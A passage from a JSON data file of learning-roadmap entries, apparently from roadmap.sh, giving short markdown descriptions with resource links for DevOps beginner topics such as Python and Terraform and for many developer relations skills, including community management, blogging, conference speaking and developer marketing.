    "path": "src/data/roadmaps/devops-beginner/content/programming-language@v5FGKQc-_7NYEsWjmTEuq.md",
    "content": "# Programming Languages\n\nProgramming languages are sets of instructions that tell a computer what to do. They're used to create software, applications, and automate tasks. Different languages are suited for different purposes, like web development, data analysis, or system administration. You write code in these languages, and the computer translates it to perform specific actions."
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/python@TwVfCYMS9jSaJ6UyYmC-K.md",
    "content": "# Python\n\nPython is a versatile and easy-to-learn programming language used for a wide range of tasks. It's known for its clear syntax, which makes it readable and simplifies coding. You can use Python to automate tasks, build web applications, analyze data, and even manage infrastructure, making it a valuable tool for many DevOps-related tasks.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python](https://www.python.org/)\n- [@article@Real Python](https://realpython.com/)\n- [@article@Automate the Boring Stuff with Python](https://automatetheboringstuff.com/)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devops-beginner/content/terraform@nUBGf1rp9GK_pbagWCP9g.md",
    "content": "# Terraform\n\nTerraform is an open-source infrastructure as code (IaC) tool developed by HashiCorp, used to define, provision, and manage cloud and on-premises infrastructure using declarative configuration files. It supports multiple cloud providers like AWS, Azure, and Google Cloud, as well as various services and platforms, enabling infrastructure automation across diverse environments. Terraform's state management and modular structure allow for efficient scaling, reusability, and version control of infrastructure. It is widely used for automating infrastructure provisioning, reducing manual errors, and improving infrastructure consistency and repeatability.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Terraform Roadmap](https://roadmap.sh/terraform)\n- [@official@Terraform Docs](https://www.terraform.io/docs)\n- [@official@Terraform Tutorials](https://learn.hashicorp.com/terraform)\n- [@article@How to Scale Your Terraform Infrastructure](https://thenewstack.io/how-to-scale-your-terraform-infrastructure/)\n- [@video@Complete Terraform Course](https://www.youtube.com/watch?v=7xngnjfIlK4)\n- [@feed@Explore top posts about Terraform](https://app.daily.dev/tags/terraform?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/active-listening@UdUDngq425NYSvIuOd7St.md",
    "content": "# Active Listening\n\nActive listening in developer relations is about genuinely engaging with the developer community to understand their needs, challenges, and feedback. It involves more than just hearing what is said; it requires attention to verbal cues, context, and non-verbal signals, as well as asking clarifying questions and reflecting on what has been shared. By actively listening, developer advocates can build trust, foster open communication, and gain insights that help shape better products, documentation, and community experiences, ultimately creating a more supportive and responsive environment for developers.\n\nLearn more from the following resources:\n\n- [@article@What is active listening?](https://hbr.org/2024/01/what-is-active-listening)\n- [@article@7 Active Listening Techniques For Better Communication](https://www.verywellmind.com/what-is-active-listening-3024343)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/advocacy@7MCmY1bABGPfmzjErADvg.md",
    "content": "# Advocacy\n\nDeveloper Advocacy is the practice of representing and supporting the needs and interests of developers both within a company and in the broader developer community. Developer Advocates act as liaisons between the company’s development team and external developers, ensuring that the developers have the tools, resources, and knowledge to effectively use the company's products or platforms. They create educational content, provide technical support, gather feedback, and participate in community events.\n\nLearn more from the following resources:\n\n- [@article@What is developer advocacy?](https://appsembler.com/glossary/developer-advocacy/)\n- [@article@The Developer Advocate Playbook: Your Go-To Guide to Turning Users into Champions 🚀](https://www.doc-e.ai/post/the-developer-advocate-playbook-your-go-to-guide-to-turning-users-into-champions)\n- [@video@Developer Relations: New Career Path for Developers](https://www.youtube.com/watch?v=iA2SQ4OL4GU)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/analytics-and-optimization@lG1FH7Q-YX5pG-7mMtbSR.md",
    "content": "# Analytics and Optimization\n\nWhen engaging with developer communities on social media, it's important to monitor your analytics in order to maximise the potential of your content. Platforms like X provide great analytics that help you keep an eye on which posts perform well with data such as impressions, likes, and shares.\n\nLearn more from the following resources:\n\n- [@article@What is social media analytics?](https://blog.hootsuite.com/social-media-analytics/)\n- [@article@2024 Guide to X (Twitter) Analytics](https://blog.hootsuite.com/twitter-analytics-guide/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/animations--graphics@D7_iNPEKxFv0gw-fsNNrZ.md",
    "content": "# Animations & Graphics\n\nAnimations and graphics can be a great addition to your live streaming setup, especially if they're related to the brand that you're representing. Be aware though that excessive animations and graphics can take its toll on your machine and potentially result in a bad experience for viewers, so it's important to find the right balance.\n\nLearn more from the following resources:\n\n- [@video@How to Create Animated Overlays For Your Live Streams](https://www.youtube.com/watch?v=y6BykyZGUlE)\n- [@video@How to Install & Use Overlays in OBS](https://www.youtube.com/watch?v=pxB9ET8gZH0)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/animations--graphics@OUWVqJImrmsZpAtRrUYNH.md",
    "content": "# Animations & Graphics\n\nAdding animations and graphics to your videos are a great way to retain users. Large creators in the developer community such as Fireship.io do this to great effect by having a mix of informative and humourous animations and graphics.\n\nLearn more from the following resources:\n\n- [@video@3 AMAZING Graphic Animations For Level UP Your Videos](https://www.youtube.com/watch?v=cnyQkr21oM8)\n- [@video@Essential Motion Graphics for Youtube](https://www.youtube.com/watch?v=HH0VBOyht0E)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/anticipate-questions@jyScVS-sYMcZcH3hOwbMK.md",
    "content": "# Anticipate Questions\n\nWhen giving talks, especially at developer conferences or events, its important to anticipate the audience asking questions at the end of your talk. Being prepared to handle common questions related to your topic can help you with confidence and show that you're a subject matter expert when you answer them correctly. It's important however not to lie or give incorrect answers so make sure that if you don't know the answer, you're honest about it.\n\nLearn more from the following resources:\n\n- [@article@How to handle questions during a presentation](https://www.secondnature.com.au/blog/how-to-handle-questions-during-a-presentation)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/api-references@7IJO_jDpZUdlr_n5rBJ6O.md",
    "content": "# API References\n\nAdding API References to your products documentation is a key component and the most common reason for developers using documentation. When creating API documentation, ensure you add examples for the most common languages as well as any details around authorization and common issues faced.\n\nLearn more from the following resources:\n\n- [@article@What Is API Documentation?](https://blog.hubspot.com/website/api-documentation)\n- [@video@API Documentation and Why it Matters](https://www.youtube.com/watch?v=39Tt1IkLiQQ)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/apis--sdks@sUEZHmKxtjO9gXKJoOdbF.md",
    "content": "# APIs & SDKs\n\nAPIs (Application Programming Interfaces) and SDKs (Software Development Kits) are essential tools in developer relations as they provide the building blocks for developers to integrate and extend functionality within their own applications. An API allows developers to interact with a service or platform through a defined set of rules and endpoints, enabling data exchange and functionality use without needing to understand the underlying code. SDKs go a step further by offering a collection of pre-built libraries, tools, and documentation that simplify the process of developing with an API, reducing the time and effort needed to create robust integrations. Together, APIs and SDKs empower developers to quickly build and innovate, driving adoption and engagement with a platform."
  },
  {
    "path": "src/data/roadmaps/devrel/content/audio@7y4vHk_jgNTW6Q1WoqYDc.md",
    "content": "# Audio\n\nHaving good quality audio when live streaming or creating video content is a must, it is often said that viewers will accept lower quality video but poor audio is a deal breaker. Unfortunetly this often includes purchasing a good quality microphone although theres many improvements you can make to an existing setup such as streaming from a quiet location with good accoustics and applying filters in your software of choice.\n\nLearn more from the following resources:\n\n- [@article@How to Improve Your Live Stream Audio](https://www.soundproofcow.com/improve-live-stream-audio/)\n- [@video@How to improve your live stream audio quality!](https://www.youtube.com/watch?app=desktop&v=_bTb0YqJX9w)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/basic-programming-skills@aSYXa25_0O2qQl1O-N3xl.md",
    "content": "# Basic Programming Skills\n\nBasic programming skills are essential for Developer Relations professionals to effectively communicate with developers, understand their needs, and provide technical support. These skills include proficiency in at least one programming language, understanding of data structures and algorithms, and familiarity with development tools and technologies. Having basic programming skills enables Developer Relations professionals to create educational content, provide technical guidance, and participate in code reviews.\n\nLearn more from the following resources:\n\n- [@article@TheNewStack.io - Devrel](https://thenewstack.io/devrel-for-beginners-how-to-get-started/)\n- [@article@Getting Started With Devrel- Dev.to](https://dev.to/rejoice/getting-started-with-devrel-22n3)\n- [@article@How to become a DevRel](https://www.pluralsight.com/resources/blog/tech-operations/developer-relations-getting-a-devrel-job)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/be-concise@rhs6QwxZ7PZthLfi38FJn.md",
    "content": "# Be Concise\n\nBeing concise during a Q&A means delivering clear, direct answers that address the core of the question without unnecessary detail or digression. This approach respects the time of both the person asking and the audience, ensuring that key information is communicated effectively.\n\nLearn more from the following resources:\n\n- [@article@How to handle a Q&A](https://anthonysanni.com/blog/3-common-difficult-q-session-questions-turn-advantage)\n- [@video@How to answer any presentation question](https://www.youtube.com/watch?v=lfiNFNTwFGU)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/blog-posts@c0w241EL0Kh4ek76IgsEs.md",
    "content": "# Blog Posts\n\nWriting blog posts is about creating valuable, informative content that resonates with developers by addressing their interests, challenges, and learning needs. Effective blog posts should be well-structured, beginning with a clear introduction that outlines the problem or topic, followed by detailed, actionable insights, code examples, or step-by-step guides that help readers understand and apply the concepts. It’s essential to write in a clear, engaging tone that balances technical accuracy with readability, making sure to anticipate common questions and challenges developers might have.\n\nLearn more from the following resources:\n\n- [@article@How to Write an SEO Blog Post: 11 Key Tips](https://www.semrush.com/blog/seo-blog-post/)\n- [@article@How to Write an Awesome Blog Post in 5 Steps](https://www.wordstream.com/blog/ws/2015/02/09/how-to-write-a-blog-post)\n- [@video@How to Write a PERFECT Blog Post in 2024](https://www.youtube.com/watch?v=HoT9naGLgNk)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/blogging@B1IdobUaGeBLI2CgsFg8H.md",
    "content": "# Blogging\n\nBlogging is a strategic way to share knowledge, build credibility, and engage with the developer community. It involves writing content that educates, informs, or solves specific problems that developers face, such as tutorials, best practices, case studies, and product updates. Effective blogging should be both informative and approachable, using clear language, relevant examples, and practical insights that developers can easily apply."
  },
  {
    "path": "src/data/roadmaps/devrel/content/building-a-community@GvmXdWiwITgWzx_f5_ick.md",
    "content": "# Building a Community\n\nOnline developer communities have become the heart of successful DevTools (Developer Tools) go-to-market (GTM) strategies. They provide a platform for developers to connect, collaborate, learn, and share their expertise, ultimately fostering loyalty, driving product adoption, and fueling innovation.\n\nLearn more from the following resources:\n\n- [@article@Building and Nurturing Online Developer Communities: The Ultimate Guide](https://www.doc-e.ai/post/building-and-nurturing-online-developer-communities-the-ultimate-guide)\n- [@article@10 Proven Strategies for Building a Developer Community That Thrives: A Guide to Inclusion & Engagement](https://dev.to/swati1267/10-proven-strategies-for-building-a-developer-community-that-thrives-a-guide-to-inclusion-engagement-21cm)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/building-a-personal-brand@HN2gNsYYRLVOOdy_r8FKJ.md",
    "content": "# Building a Personal Brand\n\nBuilding a personal brand in developer relations is about establishing a unique and authentic presence that showcases your expertise, values, and contributions to the developer community. It involves consistently sharing knowledge, insights, and experiences through various channels such as blogs, social media, podcasts, or public speaking, while engaging in meaningful conversations and collaborations. A strong personal brand helps build credibility and trust, making it easier to connect with other developers, influencers, and potential partners.\n\nLearn more from the following resources:\n\n- [@article@A New Approach to Building Your Personal Brand](https://hbr.org/2023/05/a-new-approach-to-building-your-personal-brand)\n- [@video@5 Steps to Building a Personal Brand You Feel Good About](https://www.youtube.com/watch?v=ozMCb0wOnMU)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/building-sdks@h6R3Vyq0U8t8WL3G5xC2l.md",
    "content": "# Building SDKs\n\nBuilding SDKs (Software Development Kits) involves creating a set of tools, libraries, and documentation that help developers easily integrate and interact with a platform or service. A well-designed SDK abstracts the complexities of an API, providing a streamlined, user-friendly interface that enables developers to focus on building their applications rather than handling low-level technical details. It should be intuitive, well-documented, and robust, offering clear examples, error handling, and flexibility to suit different use cases.\n\nLearn more from the following resources:\n\n- [@article@How to build an SDK from scratch: Tutorial & best practices](https://liblab.com/blog/how-to-build-an-sdk/)\n- [@article@Guiding Principles for Building SDKs](https://auth0.com/blog/guiding-principles-for-building-sdks/)\n- [@video@API vs SDK](https://www.youtube.com/watch?v=kG-fLp9BTRo)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/code-of-conduct@er9ukuBvY-F4F8S1qbbjU.md",
    "content": "# Code of Conduct\n\nWriting a code of conduct for developer communities involves setting clear guidelines that promote a safe, inclusive, and respectful environment for all participants. It should define acceptable behavior, outline unacceptable actions (such as harassment, discrimination, or disruptive conduct), and provide examples where necessary to clarify expectations. A well-crafted code of conduct also includes clear procedures for reporting violations, ensuring that community members know how to raise concerns and what they can expect in terms of response. Additionally, it should outline the consequences for breaking the rules, emphasizing that the guidelines are actively enforced to maintain a positive and welcoming community culture. The tone should be firm yet approachable, reflecting the commitment to fairness, safety, and inclusivity.\n\nLearn more from the following resources:\n\n- [@article@Guide to writing a Code of Conduct](https://projectinclude.org/writing_cocs)\n- [@article@Code of Conduct meaning and template](https://humaans.io/hr-glossary/code-of-conduct)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/code-samples@pGJrCyYhLLGUnv6LxpYUe.md",
    "content": "# Code Samples\n\nCode samples are essential in sample projects as they provide concrete, practical examples that help developers understand how to use a platform, library, or tool. Well-crafted code samples should be clear, concise, and focused on demonstrating specific functionality, avoiding unnecessary complexity that might distract from the core concept. They should be easy to read, following consistent naming conventions, proper formatting, and best practices for the relevant programming language. Including inline comments and explanations can help clarify key steps, while additional context in the accompanying documentation or blog post can guide developers through the logic and potential use cases.\n\nLearn more from the following resources:\n\n- [@article@Code Documentation Best Practices and Standards: A Complete Guide](https://blog.codacy.com/code-documentation)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/collaborations@w1ZooDCDOkbL1EAa5Hx3d.md",
    "content": "# Collaborations\n\nBlogging collaborations involve partnering with other experts, influencers, or organizations to create content that combines diverse perspectives, expertise, and audiences. Collaborations can take the form of co-authored posts, guest blogging, or interview-style pieces, and they are an effective way to reach a broader audience while enriching the content with insights that a single author might not cover. Successful collaborations require clear communication, aligning on goals, topics, and responsibilities, and ensuring that the content feels cohesive and valuable to all parties involved. They also provide an opportunity to build relationships, share knowledge, and cross-promote, driving increased visibility and engagement for everyone participating.\n\nLearn more from the following resources:\n\n- [@article@How to collaborate with bloggers](https://www.create.net/blog/how-to-collaborate-with-bloggers)\n- [@article@The Power of Collaborative Blogging: Building Relationships and Connecting with Others](https://aicontentfy.com/en/blog/power-of-collaborative-blogging-building-relationships-and-connecting-with-others)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/community-engagement@yJygbi8cnp3oz2EFl2MR0.md",
    "content": "# Community Engagement\n\nBuilding a positive developer experience through community engagement is an ongoing process that requires dedication, empathy, and a genuine commitment to your users. By investing in a welcoming environment, facilitating knowledge sharing, and leveraging AI-powered tools like Doc-E.ai, you can create a thriving community that not only supports your product but also becomes a source of innovation, loyalty, and growth.\n\nLearn more from the following resources:\n\n- [@article@The Ultimate Guide to Developer Engagement and Community Building: Unlocking the Power of Developer-Centric Growth](https://www.doc-e.ai/post/the-ultimate-guide-to-developer-engagement-and-community-building-unlocking-the-power-of-developer-centric-growth)\n- [@article@Fostering a Positive Developer Experience Through Community Engagement: A Blueprint for DevTool Success](https://www.doc-e.ai/post/fostering-a-positive-developer-experience-through-community-engagement-a-blueprint-for-devtool-success)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/community-growth@afR1VviBs2w0k8UmP38vn.md",
    "content": "# Community Growth\n\nGrowing a community is a multifaceted process that requires strategic planning, consistent engagement, and a focus on providing value to members. It involves creating a welcoming environment, fostering meaningful interactions, and continuously adapting to the needs and interests of the community. Key aspects include developing clear goals, establishing communication channels, organizing events, encouraging user-generated content, and leveraging data-driven insights to refine strategies. Successful community growth not only increases numbers but also enhances the quality of interactions, builds loyalty, and creates a self-sustaining ecosystem where members actively contribute to and benefit from the community's collective knowledge and resources.\n\nLearn more from the following resources:\n\n- [@video@ecrets to Building the Most Engaging Community Ever](https://www.youtube.com/watch?v=6ZVpufakwfk)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/community-guidelines@4ZvzY_xGO5BZOmfqj0TTq.md",
    "content": "# Community Guidelines\n\nCommunity guidelines serve as the cornerstone of a thriving developer community, establishing essential rules and principles that govern interactions among members. By setting clear expectations for behavior and promoting respectful communication, these guidelines create a safe and inclusive environment where all participants can flourish. Covering a range of crucial topics such as code of conduct, content moderation, intellectual property rights, and dispute resolution, well-crafted guidelines provide a comprehensive framework for community engagement. Through the implementation and enforcement of these standards, communities can effectively foster collaboration, encourage knowledge sharing, and maintain a positive atmosphere. Ultimately, this supportive environment nurtures the growth and engagement of developers, contributing to the overall success and sustainability of the community.\n\nLearn more from the following resources:\n\n- [@article@Community Guidelines: How to Write and Enforce Them](https://www.commsor.com/post/community-guidelines)\n- [@article@Community Guidelines Mastery: From Creation to Enforcement](https://bettermode.com/blog/community-guidelines)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/community-management@-6cf3RT4-cbwvLYIkCosF.md",
    "content": "# Community Management\n\nCommunity management is a critical aspect of developer relations that involves nurturing and overseeing a thriving ecosystem of developers, users, and stakeholders. It encompasses a wide range of activities, including facilitating discussions, moderating content, organizing events, and implementing strategies to foster engagement and growth. Effective community managers act as bridges between the company and its users, ensuring that community needs are addressed while aligning with organizational goals. They cultivate a positive and inclusive environment where members can share knowledge, collaborate on projects, and provide valuable feedback, ultimately contributing to the success and evolution of the product or platform.\n\nLearn more from the following resources:\n\n- [@article@The Ultimate Guide to Community Management](https://blog.hubspot.com/marketing/community-management-expert-advice)\n- [@article@Online Community Management Tactics](https://www.higherlogic.com/blog/online-community-management-guide/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/community-support@1NFcpGzCJylRPbFYdD9bB.md",
    "content": "# Community Support\n\nCommunity Support in the context of Developer Relations (DevRel) involves actively engaging with and assisting the developer community to foster a collaborative and supportive environment. This includes moderating forums, responding to queries, organizing community events, and facilitating peer-to-peer support. Effective community support ensures that developers feel heard and valued, and have access to timely and accurate assistance, which enhances their overall experience and productivity.\n\n- [@article@Community and DevRel](https://developerrelations.com/podcast/community-and-devrel)\n- [@article@New to DevRel? Talk to your community!](https://dev.to/amandamartindev/new-to-devrel-talk-to-your-community-hmf)\n- [@video@DevRel & Community](https://www.youtube.com/watch?v=CfXkY2m_0dU)\n\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/conference-speaking@ue0NaNnNpF7UhvJ8j0Yuo.md",
    "content": "# Conference Speaking\n\nConference speaking is a pivotal aspect of Developer Relations, offering a powerful platform for sharing knowledge, showcasing expertise, and fostering connections within the tech community. As a DevRel professional, mastering the art of public speaking allows you to effectively communicate complex technical concepts, inspire fellow developers, and represent your organization at industry events. This skill encompasses not only delivering engaging presentations but also crafting compelling narratives, tailoring content to diverse audiences, and navigating the intricacies of conference logistics. By honing your conference speaking abilities, you can significantly amplify your impact, establish thought leadership, and contribute to the growth and evolution of the developer ecosystem.\n\nLearn more from the following resources:\n\n- [@article@How to speak at a conference](https://www.eventible.com/learning/how-to-speak-at-a-conference/)\n- [@video@Secrets of Great Conference Talks](https://www.youtube.com/watch?v=rOf5sPSBLjg)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/conflict-resolution@8ls5kQvDgvwLbIrwYg1OL.md",
    "content": "# Conflict Resolution\n\nConflict resolution in communities is a crucial skill for Developer Relations professionals, as it involves navigating and mediating disagreements that inevitably arise in diverse and passionate groups. This process requires a delicate balance of empathy, objectivity, and clear communication to address issues ranging from technical disputes to interpersonal conflicts. By fostering an environment of mutual respect and understanding, effective conflict resolution not only resolves immediate problems but also strengthens community bonds, encourages healthy debate, and promotes a culture of collaboration. Ultimately, the ability to skillfully manage conflicts contributes to the overall health and growth of the developer community, ensuring that differences of opinion become opportunities for learning and innovation rather than sources of division.\n\nLearn more from the following resources:\n\n- [@article@5 Conflict Resolution Strategies](https://www.indeed.com/career-advice/career-development/conflict-resolution-strategies)\n- [@video@14 Effective Conflict Resolution Techniques](https://www.youtube.com/watch?v=v4sby5j4dTY)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/consistent-posting@l2P44pL9eF8xarBwC_CVO.md",
    "content": "# Consistent Posting\n\nConsistent posting on social media platforms is a cornerstone of effective Developer Relations strategy, serving as a powerful tool to maintain engagement, build credibility, and foster a sense of community among developers. By regularly sharing valuable content, insights, and updates, DevRel professionals can establish a reliable presence that audiences come to expect and appreciate. This steady stream of information not only keeps the community informed about the latest developments, but also demonstrates an ongoing commitment to the field, enhancing trust and authority. Moreover, consistent posting helps to navigate the algorithms of various social media platforms, increasing visibility and reach, while providing ample opportunities for interaction and feedback from the developer community.\n\nLearn more from the following resources:\n\n- [@article@Why Posting Consistently is Key to Social Media](https://forty8creates.com/why-posting-consistently-is-key-to-social-media/)\n- [@video@How to Create Consistent Content on Social Media](https://www.youtube.com/watch?v=-bQpsCMgCkA)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/content-creation@_3ZnPUl4kzzuM0bKQ8IAq.md",
    "content": "# Content Creation\n\nContent creation in the context of Developer Relations (DevRel) involves producing a wide range of materials designed to educate, engage, and empower developers. This includes writing technical blogs, creating video tutorials, developing comprehensive documentation, and crafting code samples and demos. The goal is to provide valuable resources that help developers understand and effectively use a product or platform. High-quality content addresses common challenges, showcases best practices, and highlights new features or updates.\n\nLearn more from the following resources:\n\n- [@video@DevRel Content Creation with Stephanie Wong from Google Cloud](https://www.youtube.com/watch?v=DQE1hBXVXYA)\n- [@article@The secret of content creation for DevRel](https://developerrelations.com/dev-rel/the-secrets-of-content-creation-for-devrels)\n- [@article@Content strategy for DevRel teams](https://www.stephaniemorillo.co/post/content-strategy-for-devrel-teams-a-primer)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/content-performance@yhDBZfUAjumFHpUZtmLg3.md",
    "content": "# Content Performance\n\nContent performance involves measuring, analyzing, and optimizing the impact of created content on the target audience. This multifaceted process encompasses tracking various metrics such as engagement rates, conversion rates, time spent on page, and social shares to gauge the effectiveness of content in achieving its intended goals. By leveraging sophisticated analytics tools and techniques, DevRel professionals can gain valuable insights into audience behavior, preferences, and pain points, enabling them to refine their content strategy, improve user experience, and ultimately drive better outcomes for both developers and the organization.\n\nLearn more from the following resources:\n\n- [@article@Content Performance: 19 Metrics to Track Your Results](https://www.semrush.com/blog/content-performance/)\n- [@video@How to measure the ROI of your content efforts](https://www.youtube.com/watch?v=j1CNmi302Oc)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/content-strategy@TGXPxTFv9EhsfS5uWR5gS.md",
    "content": "# Content Strategy\n\nA social media content strategy is a plan to use platforms effectively to engage and grow an audience. It starts with setting clear goals, like increasing brand awareness or driving traffic, and understanding the target audience. The strategy focuses on creating diverse, valuable content—tutorials, updates, tips, and interactive posts—that resonates with followers and encourages engagement. Choosing the right platforms, posting consistently, and actively responding to comments are key to building relationships.\n\nLearn more from the following resources:\n\n- [@article@The Ultimate Guide to Creating a Content Marketing Strategy](https://www.semrush.com/blog/content-marketing-strategy-guide/)\n- [@article@How to craft an effective social media content strategy](https://sproutsocial.com/insights/social-media-content-strategy/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/continuous-learning@bwwk6ESNyEJa3fCAIKPwh.md",
    "content": "# Continuous Learning\n\nThe developer landscape is continuously evolving and while it's not required to stay on top of the entire industry, it is crucial that you keep up to date with the trends in your area. "
  },
  {
    "path": "src/data/roadmaps/devrel/content/contrast-principle@LixiZj3-QcmQgGAqaaDr6.md",
    "content": "# Contrast Principle\n\nThe contrast principle is a psychological concept where the perception of something is influenced by what came before it. In practical terms, it means that when two items are presented one after the other, the differences between them seem more pronounced. For example, if a developer sees a complex solution first, a simpler one that follows will appear even easier than it would on its own. This principle is often used in marketing, presentations, and negotiations to shape how choices are perceived, making certain options more attractive by strategically setting up contrasts.\n\nLearn more from the following resources:\n\n- [@article@How to have influence](https://www.ethosdebate.com/influence-part-2-contrast-principle/)\n- [@article@Psychology of perceptual contrast](https://www.linkedin.com/pulse/psychology-perceptual-contrast-devender-kumar/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/creating-brand-voice@ZWkpgvXIzjN3_fOyhVEv0.md",
    "content": "# Creating Brand Voice\n\nCreating a brand voice involves defining a consistent tone and style that reflects the brand’s personality and values across all communication. It’s about deciding how the brand should sound—whether friendly, professional, witty, or authoritative—and using that voice to connect authentically with the audience. To build a strong brand voice, it’s important to understand the target audience, outline key characteristics (like being approachable or technical), and ensure all content, from social media posts to documentation, follows these guidelines. Consistency in voice helps build trust, makes the brand more recognizable, and strengthens its identity in the market.\n\nLearn more from the following resources:\n\n- [@article@Creating Your Brand Voice: A Complete Guide](https://blog.hubspot.com/marketing/brand-voice)\n- [@article@How to Define Your Brand’s Tone of Voice](https://www.semrush.com/blog/how-to-define-your-tone-of-voice)\n- [@video@Branding 101: How To Build Customer Loyalty With Brand Voice](https://www.youtube.com/watch?v=et-a39drCsU)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/cross-promotion@nlzI2fG3SwC5Q42qXcXPX.md",
    "content": "# Cross-Promotion\n\nCross-promotion in the context of guest blogging involves leveraging both the host’s and guest’s platforms to maximize reach and engagement. When a guest blog post is published, both parties actively share and promote it across their social media channels, newsletters, and websites. This collaboration helps expose the content to a broader audience, as followers from both sides are introduced to new voices and insights. Effective cross-promotion requires clear communication on promotional plans, consistent messaging, and tagging or mentioning each other to ensure visibility. It’s a mutually beneficial strategy that boosts traffic, expands reach, and strengthens partnerships.\n\nLearn more from the following resources:\n\n- [@article@What Is Cross-Promotion + 8 Cross-Promotion Strategies](https://optinmonster.com/cross-promotion-ideas-triple-customers/)\n- [@article@How to cross promote on Social Media](https://www.sprinklr.com/blog/cross-promote-social-media/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/data-driven-strategy-shift@46iMfYgC7fCZLCy-qzl1B.md",
    "content": "# Data-Driven Strategy Shift\n\nA data-driven strategy for social media involves using analytics and insights to guide content creation, posting schedules, and engagement tactics. By regularly reviewing metrics like engagement rates, click-throughs, and follower growth, brands can identify what resonates with their audience and refine their approach accordingly. This strategy helps in making informed decisions, such as which types of content to prioritize, the best times to post, and how to optimize ads. It also enables brands to track the success of campaigns, experiment with new ideas, and adjust quickly to shifting trends, ensuring that social media efforts are effective and aligned with overall goals.\n\nLearn more from the following resources:\n\n- [@article@What Does a Data-Driven Digital Marketing Strategy Look Like](https://medium.com/@vantageplusmarketing/implementing-data-driven-strategies-in-seo-and-content-marketing-6104a91afba0)\n- [@video@Analytics vs Reporting: How to make Data-driven Business Decisions](https://www.youtube.com/watch?v=kyNa3SdKU84)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/data-visualization@0dRnUlgze87eq2FVU_mWp.md",
    "content": "# Data Visualization\n\nData visualization involves using charts, graphs, and other visual tools to present data clearly and effectively. It transforms raw numbers into visual formats that make patterns, trends, and insights easier to understand at a glance. Good visualizations simplify complex data, highlighting key findings and supporting informed decision-making. When creating these visuals, it’s important to choose the right type—like bar charts for comparisons, line graphs for trends, or pie charts for proportions—and ensure they are clean, accurate, and easy to read.\n\nLearn more from the following resources:\n\n- [@article@What is Data Visualization?](https://www.ibm.com/topics/data-visualization)\n- [@video@Data Visualization in 2024](https://www.youtube.com/watch?v=loYuxWSsLNc)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/developer-experience@No-UnhdGmtLW9uFGLy-ca.md",
    "content": "# Developer Experience\n\nDeveloper Experience (DX) refers to the overall experience developers have while using a software product, tool, or platform. A positive DX is characterized by intuitive and well-documented APIs, robust and clear documentation, seamless integration processes, and responsive support. Good DX ensures that developers can efficiently build, deploy, and manage applications, reducing frustration and increasing productivity. \n\nLearn more from the following resources:\n\n- [@article@What is developer experience?](https://swimm.io/learn/developer-experience/what-is-developer-experience-devx-pillars-and-best-practices)\n- [@article@Developer Experience: What is it and why should you care? GitHub](https://github.blog/2023-06-08-developer-experience-what-is-it-and-why-should-you-care/)\n- [@video@The Secret Formula to Improve Developer Experience Revealed!]9https://www.youtube.com/watch?v=mRqoVlhtVzA)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/developer-journey@BooGiYTMoS0N5eobwjPHY.md",
    "content": "# Developer Journey\n\nThe Developer Journey encompasses the entire process that a developer goes through when interacting with a product or platform, from initial discovery to long-term engagement. This journey includes various stages such as awareness, onboarding, learning, building, deploying, and scaling. Each stage requires thoughtful design and support to ensure a smooth and positive experience. By understanding and optimizing each touchpoint in the Developer Journey, companies can reduce friction, enhance satisfaction, and foster a more loyal and productive developer community.\n\nLearn more from the following resources:\n\n- [@article@The Developer Journey](https://www.devrel.agency/developerjourney)\n- [@article@Developer Relations: The Developer Journey Map](https://medium.com/codex/developer-relations-the-developer-journey-map-36bd4619f5f3)\n- [@article@Understand the developer journey](https://www.commonroom.io/resources/ultimate-guide-to-developer-experience/)"
  },
  {
    "path": "src/data/roadmaps/devrel/content/developer-marketing@UhMk8g5MMhvi3kWLLI6B1.md",
    "content": "# Developer Marketing\n\nDeveloper Marketing focuses on strategies and tactics to engage and attract developers to a product, platform, or service. It involves creating targeted content, such as technical blogs, tutorials, and case studies, that addresses developers' needs and pain points. Effective developer marketing also includes hosting events like hackathons, webinars, and conferences to build community and demonstrate value. By leveraging channels that developers trust, such as GitHub, Stack Overflow, and social media, companies can increase visibility and adoption of their offerings.\n\nLearn more from the following resources:\n\n- [@article@What is developer marketing?](https://appsembler.com/glossary/developer-marketing/)\n- [@article@What is developer marketing? IronHorse.io](https://ironhorse.io/blog/what-is-developer-marketing/)\n- [@article@What is developer marketing (B2D)](https://www.productmarketingalliance.com/what-is-developer-marketing/)"
  },
  {
